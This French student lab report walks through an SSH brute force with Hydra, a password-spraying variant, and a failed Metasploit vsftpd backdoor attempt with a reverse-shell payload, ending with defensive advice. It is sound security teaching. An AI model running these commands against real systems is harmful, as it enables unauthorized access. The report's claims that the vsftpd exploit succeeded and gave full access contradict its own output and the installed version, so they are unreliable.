

TP 3.1 : Attaque d'un serveur Linux (Ubuntu)

I. Introduction

Ce TP vise à démontrer de manière pratique comment un serveur Linux peut être compromis via deux vecteurs d'attaque très courants en entreprise : l'attaque par force brute sur un service SSH mal protégé, et l'exploitation directe d'un service vulnérable. L'objectif est de dépasser la simple identification de vulnérabilités pour comprendre leur exploitabilité et leurs conséquences concrètes sur un système d'information.

II. Attaque par mot de passe faible (Brute Force SSH)

Cette partie simule une attaque où l'attaquant cherche à deviner le mot de passe d'un compte utilisateur légitime sur le service SSH.

❖ Vérification préalable

Avant de lancer l'attaque, nous avons vérifié que le serveur cible était joignable et que son service SSH était actif.

❖ Lancement de l'attaque avec Hydra

L'outil Hydra est utilisé pour automatiser les tentatives de connexion SSH en utilisant une liste de mots de passe.

La commande : `hydra -l morel -P /usr/share/wordlists/test.txt ssh://192.168.56.10` cible le compte utilisateur nommé morel en spécifiant le protocole et l'adresse de la cible.

```
(morel@kali)-[~]
└─$ hydra -l morel -P test.txt ssh://192.168.56.10 -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding,
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-22 21:30:31
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:l/p:p), ~1 try per task
[DATA] attacking ssh://192.168.56.10:22/
[ATTEMPT] target 192.168.56.10 - login "morel" - pass "Morales" - 1 of 1 [child 0] (0/0)
[22][ssh] host: 192.168.56.10 login: morel password: Morales
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-22 21:30:41

(morel@kali)-[~]
└─$ ssh morel@192.168.56.10
The authenticity of host '192.168.56.10 (192.168.56.10)' can't be established.
ED25519 key fingerprint is SHA256:89VaRU+YQmx7+aLVk+WX6xms4x/T/HFBvh5JqV2Yvs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.10' (ED25519) to the list of known hosts.
morel@192.168.56.10's password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-42-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

733 mises à jour peuvent être installées immédiatement.
533 de ces mises à jour sont des mises à jour de sécurité.
Pour afficher ces mises à jour supplémentaires, exécuter : apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Your Hardware Enablement Stack (HWE) is supported until April 2025.
morel@morel-virtual-machine:~$ whoami
morel
morel@morel-virtual-machine:~$ pwd
/home/morel
morel@morel-virtual-machine:~$ ls
Bureau Documents Images Modèles Musique Public Téléchargements test.txt Vidéos
morel@morel-virtual-machine:~$
```

L'attaque réussit et Hydra affiche le mot de passe trouvé : `[22][ssh] host: 192.168.56.10 login: morel password: Morales`.

Nous nous connectons ensuite avec : `ssh morel@192.168.56.10` et saisissons le mot de passe découvert. Une fois à l'intérieur, les commandes `whoami`, `pwd` et `ls` confirment l'accès au système.

III. Exploitation d'un service vulnérable avec Metasploit

Cette partie simule l'exploitation d'une vulnérabilité logicielle connue sur un service FTP.

❖ Préparation de la cible vulnérable

Sur le serveur Ubuntu, nous avons installé une version vulnérable du serveur FTP `vsftpd` grâce à la commande : `sudo apt install vsftpd -y` puis `vsftpd -v` pour confirmer la version.

```
morel@morel-virtual-machine:~$ sudo apt install vsftpd -y
[sudo] Mot de passe de morel :
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances
Lecture des informations d'état... Fait
Les NOUVEAUX paquets suivants seront installés :
  vsftpd
0 mis à jour, 1 nouvellement installés, 0 à enlever et 712 non mis à jour.
Il est nécessaire de prendre 115 ko dans les archives.
Après cette opération, 334 ko d'espace disque supplémentaires seront utilisés.
Réception de :1 http://fr.archive.ubuntu.com/ubuntu focal-updates/main amd64 vsftpd amd64 3.0.5-0ubuntu0.20.04.2 [115 kB]
115 ko réceptionnés en 6s (18,6 ko/s)
Préconfiguration des paquets...
Sélection du paquet vsftpd précédemment désélectionné.
(Lecture de la base de données... 151632 fichiers et répertoires déjà installés.)
Préparation du dépaquetage de .../vsftpd_3.0.5-0ubuntu0.20.04.2_amd64.deb ...
Dépaquetage de vsftpd (3.0.5-0ubuntu0.20.04.2) ...
Paramétrage de vsftpd (3.0.5-0ubuntu0.20.04.2) ...
Created symlink /etc/systemd/system/multi-user.target.wants/vsftpd.service → /li
b/systemd/system/vsftpd.service.
vsftpd.conf:1: Line references path below legacy directory /var/run/, updating /
var/run/vsftpd/empty → /run/vsftpd/empty; please update the tmpfiles.d/ drop-in
file accordingly.
Traitement des actions différées (« triggers ») pour man-db (2.9.1-1) ...
Traitement des actions différées (« triggers ») pour systemd (245.4-4ubuntu3.2)
...
morel@morel-virtual-machine:~$ vsftpd -v
vsftpd: version 3.0.5
morel@morel-virtual-machine:~$
```

❖ Recherche et configuration de l'exploit dans Metasploit

Le Framework Metasploit est lancé pour trouver et utiliser un exploit approprié.

```
(morel@kali)-[~]
└─$ msfconsole
Metasploit tip: You can upgrade a shell to a Meterpreter session on many
platforms using sessions -u <session_id>

IIIIII dTb.dTb
II 4' v 'B
II 6. .P
II 'T; .;P'
II 'T; ;P'
IIIIII 'Vvp'

I love shells --egypt

+ -- ==[ metasploit v6.3.55-dev ]
+ -- ==[ 2397 exploits - 1235 auxiliary - 422 post ]
+ -- ==[ 1391 payloads - 46 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 >
```

```
msf > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent Yes    VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.10
RHOSTS => 192.168.56.10
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.56.10
LHOST => 192.168.56.10
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[-] 192.168.56.10:21 - Exploit failed: RuntimeError bad-config: Fetch handler failed to start on 192.168.56.10:8080
The address is already in use or unavailable: (192.168.56.10:8080).
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.10
RHOSTS => 192.168.56.10
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.56.30
LHOST => 192.168.56.30
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 192.168.56.30:4444
[!] 192.168.56.10:21 - Unable to connect to backdoor on 6200/TCP. Cooldown?
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > █
```

❖ Résultat et vérification

L'exploit réussit mais n'ouvre pas de shell distant sur la cible.

Résultat: exploit completed, but no session was created.

Interprétation : le port 6200 TCP n'est pas ouvert sur la machine cible.

IV. Utilisation avancée des outils

Hydra

Commande : hydra -L users.txt -P passwords.txt ssh://<IP>

Explication : Cette variante utilise -L pour fournir une liste de noms d'utilisateurs en plus d'une liste de mots de passe. Cela lance une attaque par pulvérisation de mots de passe ou force brute multi-utilisateurs.

Cas d'usage : Lorsqu'un attaquant a collecté une liste d'emails ou de noms d'employés il peut tester un petit nombre de mots de passe communs sur tous ces comptes, contournant ainsi les politiques de verrouillage de compte.

Metasploit

Commande : show options

Rôle : Affiche tous les paramètres configurables (RHOSTS, RPORT, payload, etc.) du module Metasploit sélectionné.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):


| Name   | Current Setting | Required | Description                                                                                            |
|--------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| RHOSTS | 192.168.56.10   | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT  | 21              | yes      | The target port (TCP)                                                                                  |


Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):


| Name           | Current Setting | Required | Description                                                                                                         |
|----------------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------|
| FETCH_COMMAND  | CURL            | yes      | Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)                                                   |
| FETCH_DELETE   | false           | yes      | Attempt to delete the binary after execution                                                                        |
| FETCH_FILELESS | none            | yes      | Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python v2.7.18+) |
| FETCH_SRVHOST  |                 | no       | Local IP to use for serving payload                                                                                 |
| FETCH_SRVPORT  | 8080            | yes      | Local port to use for serving payload                                                                               |
| FETCH_URI_PATH |                 | no       | Local URI to use for serving payload                                                                                |
| LHOST          |                 | yes      | The listen address (an interface may be specified)                                                                  |
| LPORT          | 4444            | yes      | The listen port                                                                                                     |


When FETCH_COMMAND is one of CURL,GET,WGET:


| Name       | Current Setting | Required | Description                                                                            |
|------------|-----------------|----------|----------------------------------------------------------------------------------------|
| FETCH_PIPE | false           | yes      | Host both the binary payload and the command so it can be piped directly to the shell. |


When FETCH_FILELESS is none:


| Name               | Current Setting | Required | Description                                                                         |
|--------------------|-----------------|----------|-------------------------------------------------------------------------------------|
| FETCH_FILENAME     | HFERICEPqoGU    | no       | Name to use on remote system when storing payload; cannot contain spaces or slashes |
| FETCH_WRITABLE_DIR | ./              | yes      | Remote writable dir to store payload; cannot contain spaces                         |


Exploit target:


| Id | Name               |
|----|--------------------|
| 0  | Linux/Unix Command |


```

V. Recommandations de sécurité

Pour contrer les attaques démontrées, les mesures suivantes sont recommandées :

1. Contre l'attaque Brute Force SSH :

Désactiver l'authentification par mot de passe et imposer l'utilisation de clés SSH (configuration dans /etc/ssh/sshd_config : PasswordAuthentication no).

Mettre en place un outil de prévention d'intrusion (Fail2ban) pour bannir automatiquement les adresses IP à l'origine de tentatives de connexion répétées et échouées.

Appliquer une politique de mots de passe robustes si l'authentification par mot de passe est absolument nécessaire.

2. Contre l'exploitation de service vulnérable :

Mettre à jour régulièrement les logiciels et appliquer les correctifs de sécurité.

Supprimer ou désactiver les services inutiles, réduisant ainsi la surface d'attaque.

Réaliser des scans de vulnérabilité automatisés et réguliers (comme avec Nessus) pour identifier les services obsolètes.

VI. Conclusion

Ce TP m'a permis de constater qu'une vulnérabilité n'est pas un concept théorique. L'attaque par force brute a démontré qu'une simple négligence humaine (mot de passe faible) peut ouvrir la porte du système. L'exploitation de vsftpd a prouvé qu'un logiciel non mis à jour peut donner un accès complet et immédiat à un attaquant, sans même avoir besoin d'un compte.

L'impact pour une entreprise est direct : perte de confidentialité des données, risque de propagation de l'attaque, et potentiel arrêt de l'activité. Ce TP nous enseigne que la sécurité est un processus continu qui combine des mesures techniques (correctifs, désactivation de services)

et organisationnelles (politiques de mots de passe, sensibilisation). L'utilisation d'outils comme Metasploit et Hydra par les équipes de sécurité est cruciale pour valider la robustesse des défenses et anticiper les actions d'un attaquant réel.